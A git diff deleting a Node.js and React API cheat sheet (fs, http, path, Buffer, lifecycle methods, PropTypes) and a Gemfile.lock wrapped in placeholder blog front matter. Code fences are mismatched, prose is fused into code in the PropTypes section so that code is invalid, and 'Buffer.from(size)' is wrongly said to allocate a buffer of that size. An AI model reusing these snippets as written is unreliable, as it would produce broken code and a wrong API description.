-fs.writeSync(fd, buffer, offset, length, position);
-```
-
-> Synchronous version of fs.write(). Returns the number of bytes written.
-
-```js
-fs.read(fd, buffer, offset, length, position, callback);
-```
-
-> Read data from the file specified by fd.
-
-```js
-fs.readSync(fd, buffer, offset, length, position);
-```
-
-> Synchronous version of fs.read. Returns the number of bytesRead.
-
-```js
-fs.readFile(filename, [options], callback);
-```
-
-> Asynchronously reads the entire contents of a file.
-
-```js
-fs.readFileSync(filename, [options]);
-```
-
-> Synchronous version of fs.readFile. Returns the contents of the filename. If the encoding option is specified then this function returns a string. Otherwise it returns a buffer.
-
-```js
-fs.writeFile(filename, data, [options], callback);
-```
-
-> Asynchronously writes data to a file, replacing the file if it already exists. data can be a string or a buffer.
-
-```js
-fs.writeFileSync(filename, data, [options]);
-```
-
-> The synchronous version of fs.writeFile.
-
-```js
-fs.appendFile(filename, data, [options], callback);
-```
-
----
-
-> Asynchronously append data to a file, creating the file if it not yet exists. data can be a string or a buffer.
-
-```js
-fs.appendFileSync(filename, data, [options]);
-```
-
-> The synchronous version of fs.appendFile.
-
-```js
-fs.watch(filename, [options], [listener]);
-```
-
-> Watch for changes on filename, where filename is either a file or a directory. The returned object is a fs.FSWatcher. The listener callback gets two arguments (event, filename). event is either 'rename' or 'change', and filename is the name of the file which triggered the event.
-
-```js
-fs.exists(path, callback);
-```
-
----
-
-> Test whether or not the given path exists by checking with the file system. Then call the callback argument with either true or false. (should not be used)
-> fs.existsSync(path);
-
-````
->  Synchronous version of fs.exists. (should not be used)
->  fs.Stats: objects returned from fs.stat(), fs.lstat() and fs.fstat() and their synchronous counterparts are of this type.
-
-```js
-
-stats.isFile();
-stats.isDirectory()
-stats.isBlockDevice()
-stats.isCharacterDevice()
-stats.isSymbolicLink()
->  (only valid with fs.lstat())
-stats.isFIFO()
-stats.isSocket()
-fs.createReadStream(path, [options]);
-
-````
-
-> Returns a new ReadStream object.
-
-```js
-fs.createWriteStream(path, [options]);
-```
-
----
-
-> Returns a new WriteStream object.
-> Use require('path') to use this module.
-> This module contains utilities for handling and transforming file paths.
-> Almost all these methods perform only string transformations.
-> The file system is not consulted to check whether paths are valid.
-
-````js
-
-path.normalize(p);
->  Normalize a string path, taking care of '..' and '.' parts.
-
-```js
-
-path.join([path1], [path2], [...]);
-
-````
-
-> Join all arguments together and normalize the resulting path.
-
-```js
-
-path.resolve([from ...], to);
-
-```
-
-> Resolves 'to' to an absolute path.
-
-```js
-path.relative(from, to);
-```
-
-> Solve the relative path from 'from' to 'to'.
-
-````js
-
-path.dirname(p);
->  Return the directory name of a path. Similar to the Unix dirname command.
-
-```js
-
-path.basename(p, [ext]);
-
-````
-
-> Return the last portion of a path. Similar to the Unix basename command.
-
-```js
-path.extname(p);
-```
-
----
-
-> Return the extension of the path, from the last '.' to end of string in the last portion of the path.
-
-```js
-path.sep;
-```
-
----
-
-> The platform-specific file separator. '\\' or '/'.
-
-```js
-path.delimiter;
-```
-
----
-
-> The platform-specific path delimiter, ';' or ':'.
-> To use the HTTP server and client one must require('http').
-
-```js
-http.STATUS_CODES;
-```
-
-> A collection of all the standard HTTP response status codes, and the short description of each.
-
-```js
-http.request(options, [callback]);
-```
-
-````
----
->  This function allows one to transparently issue requests.
-
-```js
-
-http.get(options, [callback]);
-
-````
-
-> Set the method to GET and calls req.end() automatically.
-
-```js
-server = http.createServer([requestListener]);
-```
-
----
-
-> Returns a new web server object. The requestListener is a function which is automatically added to the 'request' event.
-
-```js
-server.listen(port, [hostname], [backlog], [callback]);
-```
-
-> Begin accepting connections on the specified port and hostname.
-
-```js
-server.listen(path, [callback]);
-```
-
-> Start a UNIX socket server listening for connections on the given path.
-
-```js
-server.listen(handle, [callback]);
-```
-
-> The handle object can be set to either a server or socket (anything with an underlying \_handle member), or a {fd: <n>} object.
-
-```js
-server.close([callback]);
-```
-
-> Stops the server from accepting new connections.
-
-````js
-
-server.setTimeout(msecs, callback);
->  Sets the timeout value for sockets, and emits a 'timeout' event on the Server object, passing the socket as an argument, if a timeout occurs.
-
-```js
-
-server.maxHeadersCount;
-````
-
----
-
-> Limits maximum incoming headers count, equal to 1000 by default. If set to 0 - no limit will be applied.
-
-```js
-server.timeout;
-```
-
-> The number of milliseconds of inactivity before a socket is presumed to have timed out.
-
-```js
-server.on('request', function (request, response) {});
-```
-
-> Emitted each time there is a request.
-
-```js
-server.on('connection', function (socket) {});
-```
-
-> When a new TCP stream is established.
-
-```js
-server.on('close', function () {});
-```
-
----
-
-> Emitted when the server closes.
-
-```js
-server.on('checkContinue', function (request, response) {});
-```
-
----
-
-> Emitted each time a request with an http Expect: 100-continue is received.
-
-```js
-server.on('connect', function (request, socket, head) {});
-```
-
-> Emitted each time a client requests a http CONNECT method.
-
-```js
-server.on('upgrade', function (request, socket, head) {});
-```
-
-> Emitted each time a client requests a http upgrade.
-
-```js
-server.on('clientError', function (exception, socket) {});
-```
-
-> If a client connection emits an 'error' event - it will forwarded here.
-
-```js
-request.write(chunk, [encoding]);
-```
-
-> Sends a chunk of the body.
-
-```js
-request.end([data], [encoding]);
-```
-
-> Finishes sending the request. If any parts of the body are unsent, it will flush them to the stream.
-
-```js
-request.abort();
-```
-
-> Aborts a request.
-
-```js
-request.setTimeout(timeout, [callback]);
-```
-
----
-
-> Once a socket is assigned to this request and is connected socket.setTimeout() will be called.
-
-```js
-request.setNoDelay([noDelay]);
-```
-
-> Once a socket is assigned to this request and is connected socket.setNoDelay() will be called.
-
-```js
-request.setSocketKeepAlive([enable], [initialDelay]);
-```
-
-> Once a socket is assigned to this request and is connected socket.setKeepAlive() will be called.
-
-```js
-request.on('response', function (response) {});
-```
-
-> Emitted when a response is received to this request. This event is emitted only once.
-
-````js
-
-request.on('socket', function(socket) { });
->  Emitted after a socket is assigned to this request.
-
-```js
-
-request.on('connect', function(response, socket, head) { });
-
-````
-
-> Emitted each time a server responds to a request with a CONNECT method. If this event isn't being listened for, clients receiving a CONNECT method will have their connections closed.
-
-```js
-request.on('upgrade', function (response, socket, head) {});
-```
-
-> Emitted each time a server responds to a request with an upgrade. If this event isn't being listened for, clients receiving an upgrade header will have their connections closed.
-
-```js
-request.on('continue', function () {});
-```
-
-> Emitted when the server sends a '100 Continue' HTTP response, usually because the request contained 'Expect: 100-continue'. This is an instruction that the client should send the request body.
-
-```js
-response.write(chunk, [encoding]);
-```
-
-> This sends a chunk of the response body. If this merthod is called and response.writeHead() has not been called, it will switch to implicit header mode and flush the implicit headers.
-
-```js
-response.writeContinue();
-```
-
-> Sends a HTTP/1.1 100 Continue message to the client, indicating that the request body should be sent.
-
-````js
-
-response.writeHead(statusCode, [reasonPhrase], [headers]);
->  Sends a response header to the request.
-
-```js
-
-response.setTimeout(msecs, callback);
->  Sets the Socket's timeout value to msecs. If a callback is provided, then it is added as a listener on the 'timeout' event on the response object.
-
-```js
-
-response.setHeader(name, value);
->  Sets a single header value for implicit headers. If this header already exists in the to-be-sent headers, its value will be replaced. Use an array of strings here if you need to send multiple headers with the same name.
-
-```js
-
-response.getHeader(name);
-
-````
-
-> Reads out a header that's already been queued but not sent to the client. Note that the name is case insensitive.
-
-```js
-response.removeHeader(name);
-```
-
-> Removes a header that's queued for implicit sending.
-
-```js
-response.addTrailers(headers);
-```
-
-> This method adds HTTP trailing headers (a header but at the end of the message) to the response.
-
-```js
-response.end([data], [encoding]);
-```
-
-> This method signals to the server that all of the response headers and body have been sent; that server should consider this message complete. The method, response.end(), MUST be called on each response.
-
-````js
-
-response.statusCode;
->  When using implicit headers (not calling response.writeHead() explicitly), this property controls the status code that will be sent to the client when the headers get flushed.
-
-```js
-
-response.headersSent;
->  Boolean (read-only). True if headers were sent, false otherwise.
-
-```js
-
-response.sendDate;
->  When true, the Date header will be automatically generated and sent in the response if it is not already present in the headers. Defaults to true.
-
-```js
-
-response.on('close', function () { });
-````
-
----
-
-> Indicates that the underlying connection was terminated before response.end() was called or able to flush.
-
-```js
-response.on('finish', function () {});
-```
-
----
-
-> Emitted when the response has been sent.
-
-````js
-
-message.httpVersion;
->  In case of server request, the HTTP version sent by the client. In the case of client response, the HTTP version of the connected-to server.
-
-```js
-
-message.headers;
-
-````
-
-> The request/response headers object.
-
-```js
-message.trailers;
-```
-
----
-
-> The request/response trailers object. Only populated after the 'end' event.
-
-```js
-message.method;
-```
-
-> The request method as a string. Read only. Example: 'GET', 'DELETE'.
-
-````js
-
-message.url;
->  Request URL string. This contains only the URL that is present in the actual HTTP request.
-
-```js
-
-message.statusCode;
-
-````
-
-> The 3-digit HTTP response status code. E.G. 404.
-
-```js
-message.socket;
-```
-
-> The net.Socket object associated with the connection.
-
-```js
-message.setTimeout(msecs, callback);
-```
-
-> Calls message.connection.setTimeout(msecs, callback).
-> This module has utilities for URL resolution and parsing. Call require('url') to use it.
-
-```js
-url.parse(urlStr, [parseQueryString], [slashesDenoteHost]);
-```
-
----
-
-> Take a URL string, and return an object.
-
-```js
-url.format(urlObj);
-```
-
-> Take a parsed URL object, and return a formatted URL string.
-
-```js
-url.resolve(from, to);
-```
-
-> Take a base URL, and a href URL, and resolve them as a browser would for an anchor tag.
-
-````js
-
-//**************
- // * QUERY STRING
- * http://nodejs.org/api/querystring.html
-*/
-> ---------------------------------------------------------------------------\\
->  This module provides utilities for dealing with query strings. Call require('querystring') to use it.
-
-```js
-
-querystring.stringify(obj, [sep], [eq]);
-
-````
-
-> Serialize an object to a query string. Optionally override the default separator ('&') and assignment ('=') characters.
-
-```js
-querystring.parse(str, [sep], [eq], [options]);
-```
-
----
-
-> Deserialize a query string to an object. Optionally override the default separator ('&') and assignment ('=') characters.
-> This module is used for writing unit tests for your applications, you can access it with require('assert').
-
-```js
-assert.fail(actual, expected, message, operator);
-```
-
-> Throws an exception that displays the values for actual and expected separated by the provided operator.
-
-```js
-assert(value, message);
-assert.ok(value, [message]);
-```
-
----
-
-> Tests if value is truthy, it is equivalent to assert.equal(true, !!value, message);
-
-```js
-assert.equal(actual, expected, [message]);
-```
-
----
-
-> Tests shallow, coercive equality with the equal comparison operator ( == ).
-
-```js
-assert.notEqual(actual, expected, [message]);
-```
-
-> Tests shallow, coercive non-equality with the not equal comparison operator ( != ).
-
-```js
-assert.deepEqual(actual, expected, [message]);
-```
-
-> Tests for deep equality.
-
-```js
-assert.notDeepEqual(actual, expected, [message]);
-```
-
-> Tests for any deep inequality.
-
-```js
-assert.strictEqual(actual, expected, [message]);
-```
-
----
-
-> Tests strict equality, as determined by the strict equality operator ( === )
-
-```js
-assert.notStrictEqual(actual, expected, [message]);
-```
-
-> Tests strict non-equality, as determined by the strict not equal operator ( !== )
-
-```js
-assert.throws(block, [error], [message]);
-```
-
-> Expects block to throw an error. error can be constructor, RegExp or validation function.
-
-```js
-assert.doesNotThrow(block, [message]);
-```
-
-> Expects block not to throw an error, see assert.throws for details.
-
-```js
-assert.ifError(value);
-```
-
-> Tests if value is not a false value, throws if it is a true value. Useful when testing the first argument, error in callbacks.
-> Provides a few basic operating-system related utility functions.
-> Use require('os') to access this module.
-
-```js
-os.tmpdir();
-```
-
-> Returns the operating system's default directory for temp files.
-
-```js
-os.endianness();
-```
-
-> Returns the endianness of the CPU. Possible values are "BE" or "LE".
-
-```js
-os.hostname();
-```
-
-> Returns the hostname of the operating system.
-
-```js
-os.type();
-```
-
-> Returns the operating system name.
-
-```js
-os.platform();
-```
-
-> Returns the operating system platform.
-
-```js
-os.arch();
-```
-
-> Returns the operating system CPU architecture.
-
-```js
-os.release();
-```
-
----
-
-> Returns the operating system release.
-
-````js
-
-os.uptime();
->  Returns the system uptime in seconds.
-
-```js
-
-os.loadavg();
-````
-
----
-
-> Returns an array containing the 1, 5, and 15 minute load averages.
-
-```js
-os.totalmem();
-```
-
-> Returns the total amount of system memory in bytes.
-
-```js
-os.freemem();
-```
-
----
-
-> Returns the amount of free system memory in bytes.
-
-```js
-os.cpus();
-```
-
-> Returns an array of objects containing information about each CPU/core installed: model, speed (in MHz), and times (an object containing the number of milliseconds the CPU/core spent in: user, nice, sys, idle, and irq).
-
-```js
-os.networkInterfaces();
-```
-
----
-
-> Get a list of network interfaces.
-
-```js
-
-os.EOL;
->  A constant defining the appropriate End-of-line marker for the operating system.
-
-```
-
-> Buffer is used to dealing with binary data
-> Buffer is similar to an array of integers but corresponds to a raw memory allocation outside the V8 heap
-
-```js
-Buffer.from(size);
-```
-
-> Allocates a new buffer of size octets.
-
-```js
-Buffer.from(array);
-```
-
-> Allocates a new buffer using an array of octets.
-
-```js
-Buffer.from(str, [encoding]);
-```
-
-> Allocates a new buffer containing the given str. encoding defaults to 'utf8'.
-
-```js
-Buffer.isEncoding(encoding);
-```
-
-> Returns true if the encoding is a valid encoding argument, or false otherwise.
-
-```js
-Buffer.isBuffer(obj);
-```
-
-> Tests if obj is a Buffer
-
-```js
-Buffer.concat(list, [totalLength]);
-```
-
-> Returns a buffer which is the result of concatenating all the buffers in the list together.
-
-```js
-Buffer.byteLength(string, [encoding]);
-```
-
-> Gives the actual byte length of a string.
-
-```js
-buf.write(string, [offset], [length], [encoding]);
-```
-
-> Writes string to the buffer at offset using the given encoding
-> buf.toString([encoding], [start], [end]);
-
-````
-
----
->  Decodes and returns a string from buffer data encoded with encoding (defaults to 'utf8') beginning at start (defaults to 0) and ending at end (defaults to buffer.length).
-
-```js
-
-buf.toJSON();
-
-````
-
-> Returns a JSON-representation of the Buffer instance, which is identical to the output for JSON Arrays
-
-```js
-buf.copy(targetBuffer, [targetStart], [sourceStart], [sourceEnd]);
-```
-
----
-
-> Does copy between buffers. The source and target regions can be overlapped
-
-```js
-buf.slice([start], [end]);
-```
-
-> Returns a new buffer which references the same memory as the old, but offset and cropped by the start (defaults to 0) and end (defaults to buffer.length) indexes. Negative indexes start from the end of the buffer.
-
-```js
-buf.fill(value, [offset], [end]);
-```
-
-> Fills the buffer with the specified value
-
-```js
-buf[index];
-```
-
-> Get and set the octet at index
-
-```js
-buf.length;
-```
-
-> The size of the buffer in bytes, Note that this is not necessarily the size of the contents
-
-```js
-buffer.INSPECT_MAX_BYTES;
-```
-
-> How many bytes will be returned when buffer.inspect() is called. This can be overridden by user modules.
-
-```js
-
-```
-
-# ReactJS
-
----
-
-```bash
-
-npm install --save react
-#// declarative and flexible JavaScript library for building UI
-npm install --save react-dom
-# > serves as the entry point of the DOM-related rendering paths
-npm install --save prop-types
-#// runtime type checking for React props and similar objects
-```
-
-## notes: don't forget the command lines
-
-> Create and return a new React element of the given type.
-
-> Code written with JSX will be converted to use React.createElement().
-
-> You will not typically invoke React.createElement() directly if you are using JSX.
-
-```js
-React.createElement(type, [props], [...children]);
-```
-
-> Clone and return a new React element using element as the starting point.
-
-> The resulting element will have the original element's props with the new props merged in shallowly.
-
-```js
-React.cloneElement(element, [props], [...children]);
-```
-
-> Verifies the object is a React element. Returns true or false.
-
-```js
-React.isValidElement(object);
-```
-
-> React.Children> provides utilities for dealing with the this.props.children opaque data structure.
-> Invokes a function on every immediate child contained within children with this set to thisArg.
-
-```js
-
-React.Children.map(children, function[(thisArg)])
-
-```
-
-> Like React.Children.map() but does not return an array.
-
-```js
-
-React.Children.forEach(children, function[(thisArg)])
-
-```
-
-> Returns the total number of components in children, equal to the number of times that a callback passed to map or forEach would be invoked.
-
-```js
-React.Children.count(children);
-```
-
-> Verifies that children has only one child (a React element) and returns it.
-
-> Otherwise this method throws an error.
-
-```js
-React.Children.only(children);
-```
-
-> Returns the children opaque data structure as a flat array with keys assigned to each child.
-
-> Useful if you want to manipulate collections of children in your render methods, especially if you want to reorder or slice this.props.children before passing it down.
-
-```js
-React.Children.toArray(children);
-```
-
-> The React.Fragment component lets you return multiple elements in a render() method without creating an additional DOM element
-
-> You can also use it with the shorthand <></> syntax.
-
-```js
-
-class Component extends React.Component {
-
-```
-
-> Will be called before it is mounted
-> constructor(props) {
-> Call this method before any other statement
-> or this.props will be undefined in the constructor
-> super(props);
-
-> The constructor is also often used to bind event handlers to the class instance.
-
-> Binding makes sure the method has access to component attributes like this.props and this.state
-
-```js
-this.method = this.method.bind(this);
-```
-
-> The constructor is the right place to initialize state.
-
-```js
-
-  this.state = {
-    active: true,
-```
-
-> In rare cases, it's okay to initialize state based on props.
-
-> This effectively "forks" the props and sets the state with the initial props.
-
-> If you "fork" props by using them for state, you might also want to implement componentWillReceiveProps(nextProps)
-> to keep the state up-to-date with them. But lifting state up is often easier and less bug-prone.
-
-```js
-
-    color: props.initialColor
-  };
-}
-
-```
-
-> Enqueues changes to the component state and tells React that this component and its children need to be re-rendered with the updated state.
-
-> setState() does not always immediately update the component. It may batch or defer the update until later.
-
-> This makes reading this.state right after calling setState() a potential pitfall.
-
-> Instead, use componentDidUpdate or a setState callback.
-
-> You may optionally pass an object as the first argument to setState() instead of a function.
-
-```jsx
-
-
-
-setState(updater[, callback]) { }
-
-```
-
-> Invoked just before mounting occurs (before render())
-
-> This is the only lifecycle hook called on server rendering.
-
-```js
-
-componentWillMount() { }
-
-```
-
-> Invoked immediately after a component is mounted.
-
-> Initialization that requires DOM nodes should go here.
-
-> If you need to load data from a remote endpoint, this is a good place to instantiate the network request.
-
-> This method is a good place to set up any subscriptions. If you do that, don't forget to unsubscribe in componentWillUnmount().
-
-```js
-
-componentDidMount() { }
-
-```
-
-> Invoked before a mounted component receives new props.
-
-> If you need to update the state in response to prop changes (for example, to reset it), you may compare this.props and nextProps and perform state transitions using this.setState() in this method.
-
-```js
-
-componentWillReceiveProps(nextProps) { }
-
-```
-
-> Let React know if a component's output is not affected by the current change in state or props.
-
-> The default behavior is to re-render on every state change, and in the vast majority of cases you should rely on the default behavior.
-
-> shouldComponentUpdate() is invoked before rendering when new props or state are being received. Defaults to true.
-
-> This method is not called for the initial render or when forceUpdate() is used.
-
-> Returning false does not prevent child components from re-rendering when their state changes.
-
-```js
-
-shouldComponentUpdate(nextProps, nextState) { }
-
-```
-
-> Invoked just before rendering when new props or state are being received.
-
-> Use this as an opportunity to perform preparation before an update occurs. This method is not called for the initial render.
-
-> Note that you cannot call this.setState() here; nor should you do anything else
-
-````
-
-> (e.g. dispatch a Redux action) that would trigger an update to a React component before componentWillUpdate() returns.
-
- > If you need to update state in response to props changes, use componentWillReceiveProps() instead.
-
-```js
-
-componentWillUpdate(nextProps, nextState) { }
-
-````
-
-> Invoked immediately after updating occurs. This method is not called for the initial render.
-
-> Use this as an opportunity to operate on the DOM when the component has been updated.
-
-> This is also a good place to do network requests as long as you compare the current props to previous props (e.g. a network request may not be necessary if the props have not changed).
-
-```js
-
-componentDidUpdate(prevProps, prevState) { }
-
-```
-
-> Invoked immediately before a component is unmounted and destroyed.
-
-> Perform any necessary cleanup in this method, such as invalidating timers, canceling network requests, or cleaning up any subscriptions that were created in componentDidMount().
-
-```js
-
-componentWillUnmount() { }
-
-```
-
-> Error boundaries are React components that catch JavaScript errors anywhere in their child component tree, log those errors, and display a fallback UI instead of the component tree that crashed.
-
-> Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.
-
-```js
-
-componentDidCatch() { }
-
-```
-
-> This method is required.
-
-> It should be pure, meaning that it does not modify component state, it returns the same result each time it's invoked, and
-
-```
-
-> it does not directly interact with the browser (use lifecycle methods for this)
-
-```
-
-> It must return one of the following types: react elements, string and numbers, portals, null or booleans.
-
-```js
-
-render() {
-
-```
-
-> Contains the props that were defined by the caller of this component.
-
-```js
-console.log(this.props);
-```
-
-> Contains data specific to this component that may change over time.
-
-````js
-
-> The state is user-defined, and it should be a plain JavaScript object.
-
-```js
-
-> If you don't use it in render(), it shouldn't be in the state.
-
-```js
-
-> For example, you can put timer IDs directly on the instance.
-
-```js
-
-> Never mutate this.state directly, as calling setState() afterwards may replace the mutation you made.
-
-```js
-
-> Treat this.state as if it were immutable.
-
-```js
-
-  console.log(this.state);
-  return (
-    <div>
-      {/* Comment goes here */}
-      Hello, {this.props.name}!
-    </div>
-  );
-}
-}
-
-````
-
-> Can be defined as a property on the component class itself, to set the default props for the class.
-
-> This is used for undefined props, but not for null props.
-
-```js
-Component.defaultProps = {
-    color: 'blue'
-};
-component = new Component();
-```
-
-> By default, when your component's state or props change, your component will re-render.
-
-> If your render() method depends on some other data, you can tell React that the component needs re-rendering by calling forceUpdate().
-
-> Normally you should try to avoid all uses of forceUpdate() and only read from this.props and this.state in render().
-
-````js
-
-component.forceUpdate(callback)
-//**************
- // * REACT.DOM
- * The react-dom package provides DOM-specific methods that can be used at the top level of
- * your app and as an escape hatch to get outside of the React model if you need to.
-
-```js
-
- * Most of your components should not need to use this module.
-
-```js
-
- * https://reactjs.org/docs/react-dom.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-
-````
-
-> Render a React element into the DOM in the supplied container and return a reference
-
-````
-
-> to the component (or returns null for stateless components).
-
-```js
-
-ReactDOM.render(element, container[, callback])
-
-````
-
-> Same as render(), but is used to hydrate a container whose HTML contents were rendered
-
-````
-
-> by ReactDOMServer. React will attempt to attach event listeners to the existing markup.
-
-```js
-
-ReactDOM.hydrate(element, container[, callback])
-
-````
-
-> Remove a mounted React component from the DOM and clean up its event handlers and state.
-
-> If no component was mounted in the container, calling this function does nothing.
-
-> Returns true if a component was unmounted and false if there was no component to unmount.
-
-```js
-ReactDOM.unmountComponentAtNode(container);
-```
-
-> If this component has been mounted into the DOM, this returns the corresponding native browser
-
-```
-
-> DOM element. This method is useful for reading values out of the DOM, such as form field values
-
-```
-
-> and performing DOM measurements. In most cases, you can attach a ref to the DOM node and avoid
-
-````
-
-> using findDOMNode at all.
-
-```js
-
-ReactDOM.findDOMNode(component)
-
-````
-
-> Creates a portal. Portals provide a way to render children into a DOM node that exists outside
-
-````
-
-> the hierarchy of the DOM component.
-
-```js
-
-ReactDOM.createPortal(child, container)
-//******************************************************************************
- // * REACTDOMSERVER
- * The ReactDOMServer object enables you to render components to static markup.
-
-```js
-
- * https://reactjs.org/docs/react-dom.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-
-````
-
-> Render a React element to its initial HTML. React will return an HTML string.
-
-> You can use this method to generate HTML on the server and send the markup down on the initial
-
-````
-
-> request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-
-```js
-
-ReactDOMServer.renderToString(element)
-
-````
-
-> Similar to renderToString, except this doesn't create extra DOM attributes that React uses
-
-```
-
-> internally, such as data-reactroot. This is useful if you want to use React as a simple static
-
-```
-
-> page generator, as stripping away the extra attributes can save some bytes.
-
-```js
-ReactDOMServer.renderToStaticMarkup(element);
-```
-
-> Render a React element to its initial HTML. Returns a Readable stream that outputs an HTML string.
-
-> The HTML output by this stream is exactly equal to what ReactDOMServer.renderToString would return.
-
-> You can use this method to generate HTML on the server and send the markup down on the initial
-
-````
-
-> request for faster page loads and to allow search engines to crawl your pages for SEO purposes.
-
-```js
-
-ReactDOMServer.renderToNodeStream(element)
-
-````
-
-> Similar to renderToNodeStream, except this doesn't create extra DOM attributes that React uses
-
-```
-
-> internally, such as data-reactroot. This is useful if you want to use React as a simple static
-
-```
-
-> page generator, as stripping away the extra attributes can save some bytes.
-
-```js
-
-ReactDOMServer.renderToStaticNodeStream(element)
-//***********
- // * TYPECHECKING WITH PROPTYPES
- * https://reactjs.org/docs/typechecking-with-proptypes.html
-*/
-//------------------------------------------------------------------------------\\
-//------------------------------------------------------------------------------\\
-import PropTypes from 'prop-types';
-MyComponent.propTypes = {
-
-```
-
-> You can declare that a prop is a specific JS type. By default, these
-
-````
-
-> are all optional.
-
-```js
-
-optionalArray: PropTypes.array,
-optionalBool: PropTypes.bool,
-optionalFunc: PropTypes.func,
-optionalNumber: PropTypes.number,
-optionalObject: PropTypes.object,
-optionalString: PropTypes.string,
-optionalSymbol: PropTypes.symbol,  Anything that can be rendered: numbers, strings, elements or an array
-
-````
-
-> (or fragment) containing these types.
-
-````js
-
-optionalNode: PropTypes.node,  A React element.
-
-```js
-
-optionalElement: PropTypes.element,  You can also declare that a prop is an instance of a class. This uses
-
-````
-
-> JS's instanceof operator.
-
-```js
-
-optionalMessage: PropTypes.instanceOf(Message),  You can ensure that your prop is limited to specific values by treating
-
-```
-
-> it as an enum.
-
-```js
-
-optionalEnum: PropTypes.oneOf(['News', 'Photos']),  An object that could be one of many types
-optionalUnion: PropTypes.oneOfType([
-  PropTypes.string,
-  PropTypes.number,
-  PropTypes.instanceOf(Message)
-]),  An array of a certain type
-optionalArrayOf: PropTypes.arrayOf(PropTypes.number),  An object with property values of a certain type
-optionalObjectOf: PropTypes.objectOf(PropTypes.number),  An object taking on a particular shape
-optionalObjectWithShape: PropTypes.shape({
-  color: PropTypes.string,
-  fontSize: PropTypes.number
-}),  You can chain any of the above with `isRequired` to make sure a warning
-
-```
-
-> is shown if the prop isn't provided.
-
-```js
-
-requiredFunc: PropTypes.func.isRequired,  A value of any data type
-requiredAny: PropTypes.any.isRequired,  You can also specify a custom validator. It should return an Error
-
-```
-
-> object if the validation fails. Don't `console.warn` or throw, as this
-
-````
-
-> won't work inside `oneOfType`.
-
-```js
-
-customProp: function(props, propName, componentName) {
-  if (!/matchme/.test(props[propName])) {
-    return new Error(
-      'Invalid prop `' + propName + '` supplied to' +
-      ' `' + componentName + '`. Validation failed.'
-    );
-  }
-},  You can also supply a custom validator to `arrayOf` and `objectOf`.
-
- > It should return an Error object if the validation fails. The validator
-
-> will be called for each key in the array or object. The first two
-
-````
-
-> arguments of the validator are the array or object itself, and the
-
-````
-
-> current item's key.
-
-```js
-
-customArrayProp: PropTypes.arrayOf(function(propValue, key, componentName, location, propFullName) {
-  if (!/matchme/.test(propValue[key])) {
-    return new Error(
-      'Invalid prop `' + propFullName + '` supplied to' +
-      ' `' + componentName + '`. Validation failed.'
-    );
-  }
-})
-};
-````
diff --git a/docs/content/cheat-sheets/Gemfile.lock.md b/docs/content/cheat-sheets/Gemfile.lock.md
deleted file mode 100644
index 99b9efbc43..0000000000
--- a/docs/content/cheat-sheets/Gemfile.lock.md
+++ /dev/null
@@ -1,264 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-GEM
-remote: https://rubygems.org/
-specs:
-activesupport (6.0.3.1)
-concurrent-ruby (~> 1.0, >= 1.0.2)
-i18n (>= 0.7, < 2)
-minitest (~> 5.1)
-tzinfo (~> 1.1)
-zeitwerk (~> 2.2, >= 2.2.2)
-addressable (2.7.0)
-public_suffix (>= 2.0.2, < 5.0)
-coffee-script (2.4.1)
-coffee-script-source
-execjs
-coffee-script-source (1.11.1)
-colorator (1.1.0)
-commonmarker (0.17.13)
-ruby-enum (~> 0.5)
-concurrent-ruby (1.1.6)
-dnsruby (1.61.3)
-addressable (~> 2.5)
-em-websocket (0.5.1)
-eventmachine (>= 0.12.9)
-http_parser.rb (~> 0.6.0)
-ethon (0.12.0)
-ffi (>= 1.3.0)
-eventmachine (1.2.7)
-execjs (2.7.0)
-faraday (1.0.1)
-multipart-post (>= 1.2, < 3)
-ffi (1.13.1)
-forwardable-extended (2.6.0)
-gemoji (3.0.1)
-github-pages (206)
-github-pages-health-check (= 1.16.1)
-jekyll (= 3.8.7)
-jekyll-avatar (= 0.7.0)
-jekyll-coffeescript (= 1.1.1)
-jekyll-commonmark-ghpages (= 0.1.6)
-jekyll-default-layout (= 0.1.4)
-jekyll-feed (= 0.13.0)
-jekyll-gist (= 1.5.0)
-jekyll-github-metadata (= 2.13.0)
-jekyll-mentions (= 1.5.1)
-jekyll-optional-front-matter (= 0.3.2)
-jekyll-paginate (= 1.1.0)
-jekyll-readme-index (= 0.3.0)
-jekyll-redirect-from (= 0.15.0)
-jekyll-relative-links (= 0.6.1)
-jekyll-remote-theme (= 0.4.1)
-jekyll-sass-converter (= 1.5.2)
-jekyll-seo-tag (= 2.6.1)
-jekyll-sitemap (= 1.4.0)
-jekyll-swiss (= 1.0.0)
-jekyll-theme-architect (= 0.1.1)
-jekyll-theme-cayman (= 0.1.1)
-jekyll-theme-dinky (= 0.1.1)
-jekyll-theme-hacker (= 0.1.1)
-jekyll-theme-leap-day (= 0.1.1)
-jekyll-theme-merlot (= 0.1.1)
-jekyll-theme-midnight (= 0.1.1)
-jekyll-theme-minimal (= 0.1.1)
-jekyll-theme-modernist (= 0.1.1)
-jekyll-theme-primer (= 0.5.4)
-jekyll-theme-slate (= 0.1.1)
-jekyll-theme-tactile (= 0.1.1)
-jekyll-theme-time-machine (= 0.1.1)
-jekyll-titles-from-headings (= 0.5.3)
-jemoji (= 0.11.1)
-kramdown (= 1.17.0)
-liquid (= 4.0.3)
-mercenary (~> 0.3)
-minima (= 2.5.1)
-nokogiri (>= 1.10.4, < 2.0)
-rouge (= 3.19.0)
-terminal-table (~> 1.4)
-github-pages-health-check (1.16.1)
-addressable (~> 2.3)
-dnsruby (~> 1.60)
-octokit (~> 4.0)
-public_suffix (~> 3.0)
-typhoeus (~> 1.3)
-html-pipeline (2.13.0)
-activesupport (>= 2)
-nokogiri (>= 1.4)
-http_parser.rb (0.6.0)
-i18n (0.9.5)
-concurrent-ruby (~> 1.0)
-jekyll (3.8.7)
-addressable (~> 2.4)
-colorator (~> 1.0)
-em-websocket (~> 0.5)
-i18n (~> 0.7)
-jekyll-sass-converter (~> 1.0)
-jekyll-watch (~> 2.0)
-kramdown (~> 1.14)
-liquid (~> 4.0)
-mercenary (~> 0.3.3)
-pathutil (~> 0.9)
-rouge (>= 1.7, < 4)
-safe_yaml (~> 1.0)
-jekyll-avatar (0.7.0)
-jekyll (>= 3.0, < 5.0)
-jekyll-coffeescript (1.1.1)
